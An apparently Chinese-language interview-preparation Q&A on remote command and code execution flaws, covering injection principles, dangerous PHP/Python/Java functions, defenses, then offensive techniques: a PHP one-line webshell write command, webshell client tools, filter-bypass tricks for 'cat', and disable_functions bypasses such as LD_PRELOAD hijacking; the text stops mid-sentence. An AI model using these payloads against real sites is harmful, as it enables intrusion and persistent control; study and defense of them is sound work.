1. 什么是 RCE?
RCE (Remote Command/Code Execute 即远程代码执行和远程命令执行的统称,指攻击者向后台服务器注入操作系统命令或代码,从而控制后台系统,分为远程命令执行和远程代码执行,属于高危漏洞,常被统称为 RCE。
2. 远程命令执行漏洞原理是什么?
核心原理是应用程序未对用户输入进行严格过滤,将用户可控输入直接拼接进系统命令执行函数(如system
、exec
),导致攻击者注入的恶意命令被系统执行。 例如:应用程序通过system("ping " + $_GET['ip'])
执行 ping 命令,若用户输入127.0.0.1;ls
,则拼接后命令变为ping 127.0.0.1;ls
,其中;ls
会被作为新命令执行,最终执行ls
查看文件。
3. 远程代码执行漏洞原理是什么?
原理是应用程序将用户可控输入直接作为代码执行(未过滤或过滤不严),导致攻击者注入的恶意代码被应用程序解析执行。 例如:PHP 中若存在eval("echo " . $_GET['input']);
,用户输入1;phpinfo();
时,代码会被拼接为eval("echo 1;phpinfo();");
,进而执行phpinfo()
函数,泄露服务器信息。
4. 代码执行的函数有哪些?
代码执行函数指直接将输入作为代码解析执行的函数,分语言举例:
PHP:
eval()
、assert()
、preg_replace()
(带/e
修饰符)、array_map ()
、create_function()
、call_user_func ()
Python:
exec()
、eval()
Java:
ScriptEngine.eval()
(如 Rhino 引擎)、Runtime.exec()
(间接执行字节码)JavaScript:
eval()
5. 命令执行的函数有哪些?
命令执行函数指直接调用操作系统命令的函数,分语言 / 场景举例:
PHP:
system()
、exec()
、shell_exec()
、passthru()
、popen()
、proc_open()
Python:
os.system()
、os.popen()
、subprocess.call()
、subprocess.Popen()
Java:
Runtime.getRuntime().exec()
系统层面:Linux 的
system()
、Windows 的CreateProcess()
6. php 能远程执行的函数有什么?
PHP 中可用于远程执行(代码 / 命令)的函数主要包括:
代码执行:
eval()
、assert()
(5.4 前)、create_function()
、preg_replace('/pattern/e', ...)
(PHP 7.0 前)、call_user_func()
(动态调用执行函数)。命令执行:
system()
、exec()
、shell_exec()
、passthru()
、popen()
、proc_open()
。间接执行:
include()
/require()
(远程包含文件时执行代码,需allow_url_include=On
)。
7. RCE 漏洞有什么危害、利用方式及防御措施?
危害: 攻击者可完全控制目标系统(如读取 / 篡改文件、窃取数据)、横向渗透内网、植入恶意程序(如勒索软件)、瘫痪服务等,是最高危漏洞之一。
利用方式: 直接执行命令(如
ls
、whoami
)获取信息;写入 webshell 持久化控制;通过命令提权(如sudo
、内核漏洞)获取更高权限;下载恶意文件(如wget
)扩大影响。防御措施:
输入严格过滤:用白名单限制允许的字符 / 命令,禁止特殊符号(如
;
、|
、&
)。避免直接拼接执行:使用安全 API(如参数化调用,避免
system("cmd " + input)
)。最小权限运行:应用程序以低权限用户(如 www-data)运行,限制文件 / 系统访问权限。
禁用危险函数:通过
php.ini
的disable_functions
禁用eval
、system
等。
8. 一个站点存在 RCE 漏洞,如何 getshell?如何利用 webshell 进行连接?
Getshell 方法: 利用 RCE 执行命令写入 webshell 文件。例如:
若为 Linux,执行
echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php
(写入 PHP 一句话木马)。若为 Windows,执行
echo ^<?php @eval($_POST["cmd"]);?^> > C:\www\shell.php
(注意转义特殊符号)。
连接 webshell: 使用工具(如蚁剑、菜刀、冰蝎)输入 webshell 的 URL(如
http://target.com/shell.php
)和密码(如cmd
),工具通过 POST 请求发送命令(如$_POST["cmd"]=phpinfo();
)与 webshell 交互,实现文件管理、命令执行等操作。
9. 想要查看文件时发现 cat 被过滤了,怎么办?
核心思路是用替代命令或绕过过滤规则,常见方法:
替代命令:
more file
、less file
(分页查看)、head file
(查看头部)、tail file
(查看尾部)、nl file
(带行号)、od -c file
(八进制显示)、vi file
(编辑模式查看,:q 退出)。绕过过滤:
大小写混淆:
Cat file
、CAT file
(若系统不区分大小写)。变量绕过:
a=c;b=a;c=t; $a$b$c 文件名
。编码进制绕过:对命令进行 base64 等编码处理后执行,如
echo 'Y2F0wqAK' | base64 -d 文件名
。字符拼接:
c''at file
、c$1at file
(shell 会忽略空字符或变量)。转义字符:
c\at file
(反斜杠转义)。通配符:
ca? file
(?
匹配单个字符)、c* file
(*
匹配多个字符)。
10. 如何绕过 php.ini 中 disable_function 的限制?有哪些方法?其中成功率最高的是哪个?为什么?
常见方法:
LD_PRELOAD 劫持(Linux):上传自定义共享库(.so 文件),通过
putenv("LD_PRELOAD=/tmp/evil.so")
预加载,劫持system
等函数实现命令执行。PHP 扩展漏洞:利用
imap
、gd
等扩展的漏洞(如imap_open
的命令注入)绕过限制。FFI 扩展:若启用
FFI
(Foreign Function Interface),可直接调用系统函数执行命令。Windows COM 组件:在 Windows 系统中,通过
COM("WScript.Shell")
调用系统命令。
成功率最高的是 LD_PRELOAD 劫持: 原因:兼容性强(适用于大多数 Linux 系统),无需依赖特定 PHP 扩展(仅需
putenv
和mail